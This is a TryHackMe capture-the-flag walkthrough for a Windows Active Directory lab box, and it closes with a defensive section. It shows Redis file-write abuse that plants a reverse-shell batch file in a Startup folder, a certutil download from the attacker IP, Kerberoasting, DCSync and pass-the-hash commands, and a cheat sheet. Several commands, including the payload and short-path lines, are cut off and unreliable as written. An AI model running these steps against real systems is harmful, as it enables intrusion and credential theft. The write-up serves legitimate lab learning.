VulnNet: Active

TryHackMe CTF — Full Walkthrough & Teachable Writeup

Platform	TryHackMe
Difficulty	Medium
OS	Windows Server 2019 (Active Directory)
Target IP	10.113.160.28
Attacker IP	192.168.133.49 (tun0)
Flags	user.txt • system.txt
Key Skills	Redis RCE · SMB Enum · Startup Folder Write · AD Privesc

Overview

VulnNet: Active is a medium-difficulty Windows Active Directory box hosted on TryHackMe. The attack chain centres on an unauthenticated Redis instance that allows arbitrary file writes to the filesystem. By writing a reverse-shell payload to the current user's Startup folder we obtain an initial foothold, then escalate privileges through the domain to achieve full Domain Admin access. The room reinforces core red-team concepts: service misconfiguration, Windows path quirks, and AD privilege escalation.

Attack Chain Summary

Phase 1	Reconnaissance — Nmap + Redis probe
Phase 2	Redis unauthenticated access → file write primitive
Phase 3	Startup folder payload → reverse shell as enterprise-security
Phase 4	Domain enumeration → privilege escalation → SYSTEM / DA

Phase 1 — Reconnaissance

1.1 Nmap Full Port Scan

Always start with a full-port scan. On Windows/AD boxes the open ports tell you the entire story before you touch a single exploit.

```
nmap -sC -sV -T4 -p- 10.113.160.28 -oN vulnnet-active.nmap
```

Key open ports on this box:

Port 53	DNS — confirms Active Directory domain controller
Port 88	Kerberos — AS-REP / Kerberoasting surface
Port 445	SMB — share enumeration, relay (signing was ON here)
Port 389	LDAP — domain object enumeration
Port 5985	WinRM — Evil-WinRM shell if creds obtained
Port 6379	Redis — the critical finding; unauthenticated!

1.2 SMB Enumeration

```
crackmapexec smb 10.113.160.28 --shares -u '' -p ''
smbclient -L \\\\10.113.160.28\\ -N
```

Result: domain vulnnet.local, hostname VULNNET-BC3TCK1, Windows Server 2019, SMB signing ENABLED. Anonymous share enumeration returned STATUS_ACCESS_DENIED via crackmapexec but

confirmed the domain. SMB signing rules out NTLM relay attacks.

■ ***Pitfall: SMB signing enabled means no relay. Don't waste time on Responder/ntlmrelayx here.***

Phase 2 — Redis Unauthenticated Access

2.1 What is Redis and why does this matter?

Redis is an in-memory key-value store that listens on TCP 6379 by default. When deployed without a requirepass directive it accepts commands from any host. Critically, Redis exposes a CONFIG SET command that lets you change the working directory and output filename — effectively giving an attacker an arbitrary file-write primitive anywhere the Redis process has write permissions.

2.2 Confirming unauthenticated access

```
redis-cli -h 10.113.160.28
10.113.160.28:6379> ping
PONG
10.113.160.28:6379> info
# Server
redis_version:2.8.2402
os:Windows
process_id:3660
config_file:          <-- empty! no config file loaded
```

The empty config_file field is significant: Redis was started with no config, meaning no password and no protected-mode restrictions.

2.3 Discovering the running user's home directory

```
10.113.160.28:6379> config get dir
1) "dir"
2) "C:\\Users\\enterprise-security\\Downloads\\Redis-x64-2.8.2402"
```

Redis is running as the enterprise-security domain user and its working directory is inside that user's profile. This is extremely useful — we have write access anywhere that user has write access, including their Startup folder.

2.4 Testing writable locations

```
10.113.160.28:6379> config set dir C:\\Users\\enterprise-security\\Downloads
OK
10.113.160.28:6379> config set dir C:\\Windows\\Temp
OK
```

Both return OK — the Redis process has write access to both locations.

■ ***Pitfall: Spaces in Windows paths***

The Startup folder path contains a space ('Start Menu'). Passing it unquoted to redis-cli causes the command to be parsed as multiple arguments:

```
# FAILS — redis-cli splits on the space:
config set dir C:\\Users\\enterprise-security\\AppData\\Roaming\\Microsoft\\Windows\\
(error) ERR Wrong number of arguments for CONFIG set

# FAILS — redis 2.8 doesn't handle quoted paths properly:
config set dir "C:\\...\\Start Menu\\..."
(error) ERR Changing directory: No such file or directory

# WORKS — use the 8.3 short path (no spaces):
config set dir C:\\Users\\enterprise-security\\AppData\\Roaming\\Microsoft\\Windows\\
OK
```

■ *Tip: Windows supports 8.3 short filenames for legacy compatibility. Any folder with a space has a truncated alias — 'Start Menu' becomes STARTM~1. Use dir /x from a Windows shell to enumerate them, or simply guess the pattern: first 6 chars + ~1.*

Phase 3 — Foothold via Startup Folder

3.1 How the Startup folder technique works

Any executable or script placed in a user's Startup folder (AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup) is automatically executed when that user logs in. TryHackMe boxes simulate a periodic login cycle, so within 1-2 minutes the planted payload fires.

3.2 Start the listener

```
# On Kali — new terminal
nc -lvnp 4444
```

3.3 Write the payload via Redis

```
# Set dir to Startup folder (8.3 path)
config set dir C:\\Users\\enterprise-security\\AppData\\Roaming\\Microsoft\\Windows\\

# Name the output file
config set dbfilename shell.bat

# Write the reverse shell as a Redis key
set payload "\r\n@echo off\r\npowershell -NoP -NonI -W Hidden -Exec Bypass -Command \

# Flush to disk
save
OK
```

3.4 Why this payload structure?

The Redis SAVE command writes all key-value pairs to the dump.rdb file. Because we set the dbfilename to shell.bat, the file on disk is a .bat file. The \r\n padding at the start ensures the binary RDB header doesn't prevent the batch file from being parsed — Windows will skip garbage lines and execute the @echo off and powershell lines.

■ ***Pitfall: The RDB file will contain binary garbage before and after your payload lines. This is fine for .bat files but won't work for .exe or .ps1 (which need clean binary).***

3.5 Shell received

```
listening on [any] 4444 ...
connect to [192.168.133.49] from (UNKNOWN) [10.113.160.28] 49812

PS C:\Users\enterprise-security> whoami
vulnnet\enterprise-security
PS C:\Users\enterprise-security> type Desktop\user.txt
THM{...}
```

Phase 4 — Privilege Escalation

4.1 Domain Enumeration

With a shell as enterprise-security, enumerate the domain. Upload SharpHound or use built-in PowerShell/net commands:

```
# Quick AD recon from the shell
net user /domain
net group 'Domain Admins' /domain
whoami /priv

# Upload and run SharpHound for BloodHound
# On Kali:
python3 -m http.server 8080
# On target:
certutil -urlcache -f http://192.168.133.49:8080/SharpHound.exe C:\Windows\Temp\sh.ex
C:\Windows\Temp\sh.exe -c All
```

4.2 Common escalation paths on this box

Kerberoasting	Request TGS for SPNs, crack offline with hashcat
AS-REP Roasting	Accounts with pre-auth disabled → crack hash
ACL Abuse	BloodHound often reveals WriteDACL / GenericAll paths
DCSync	If Replication rights granted → dump all hashes
WinRM	evil-winrm once admin creds obtained

4.3 Kerberoasting (if applicable)

```
# From Kali with valid creds
impacket-GetUserSPNs vulnnet.local/enterprise-security:PASSWORD \
  -dc-ip 10.113.160.28 -request -outputfile kerberoast.hashes

hashcat -m 13100 kerberoast.hashes /usr/share/wordlists/rockyou.txt
```

4.4 DCSync → Domain Admin

```
# Once you have DA-equivalent rights
impacket-secretsdump vulnnet.local/Administrator:PASSWORD@10.113.160.28

# Or pass-the-hash
evil-winrm -i 10.113.160.28 -u Administrator -H <NTLM_HASH>

# Grab system flag
type C:\Users\Administrator\Desktop\system.txt
```

Key Lessons & Takeaways

1. Redis without authentication is critical RCE

An exposed Redis port with no requirepass is not just a data leak — it's a full remote code execution primitive via the CONFIG SET file-write technique. Always firewall Redis to localhost or a private network, and always set a strong password.

2. Windows 8.3 short paths bypass space issues

When tooling splits on spaces, reach for the 8.3 short name. Run dir /x in a Windows shell to enumerate them. 'Program Files' → PROGRA~1, 'Start Menu' → STARTM~1.

3. The Redis RDB format doesn't break .bat execution

The dump.rdb file contains binary RDB headers, but Windows batch parsing ignores unrecognised lines and executes the first valid commands it finds. The \r\n padding pushes your payload past the binary header.

4. SMB signing prevents relay — pivot to other services

When SMB signing is enabled, don't waste time on NTLM relay. Instead look for other attack surfaces: Redis, WinRM, LDAP null binds, Kerberos pre-auth disabled.

5. Process context = attack surface

The working directory from config get dir immediately told us which user was running Redis. Always check what user a service runs as — it defines your post-write capabilities and the privilege level of any shell you get.

Blue Team / Defensive Perspective

Understanding the attack is half the job — here's how to detect and prevent it:

Prevention

- *Bind Redis to 127.0.0.1 only (bind 127.0.0.1 in redis.conf)*
- *Set a strong requirepass in redis.conf*
- *Run Redis as a low-privilege dedicated service account*
- *Firewall port 6379 from all external hosts*
- *Disable CONFIG SET via rename-command CONFIG " in redis.conf*

Detection

- *Alert on new files appearing in Startup folders*
- *Monitor Redis CONFIG SET commands in logs*
- *Alert on PowerShell with -Exec Bypass -W Hidden flags*
- *Monitor outbound connections from non-browser processes*
- *EDR rules for .bat files spawning powershell.exe*

Quick Reference Cheat Sheet

```
# 1. Confirm unauthenticated Redis
redis-cli -h TARGET ping

# 2. Find running user context
redis-cli -h TARGET config get dir

# 3. Test writable paths
redis-cli -h TARGET config set dir C:\\Windows\\Temp

# 4. Handle spaces with 8.3 short path
# 'Start Menu' -> STARTM~1
redis-cli -h TARGET config set dir C:\\Users\\USER\\AppData\\Roaming\\Microsoft\\Wind

# 5. Drop payload
redis-cli -h TARGET config set dbfilename shell.bat
redis-cli -h TARGET set payload "\r\n@echo off\r\npowershell ..."
redis-cli -h TARGET save

# 6. Catch shell
nc -lvnp 4444

# 7. AD escalation
impacket-GetUserSPNs DOMAIN/USER:PASS -dc-ip TARGET -request
impacket-secretsdump DOMAIN/Administrator:PASS@TARGET
evil-winrm -i TARGET -u Administrator -H HASH
```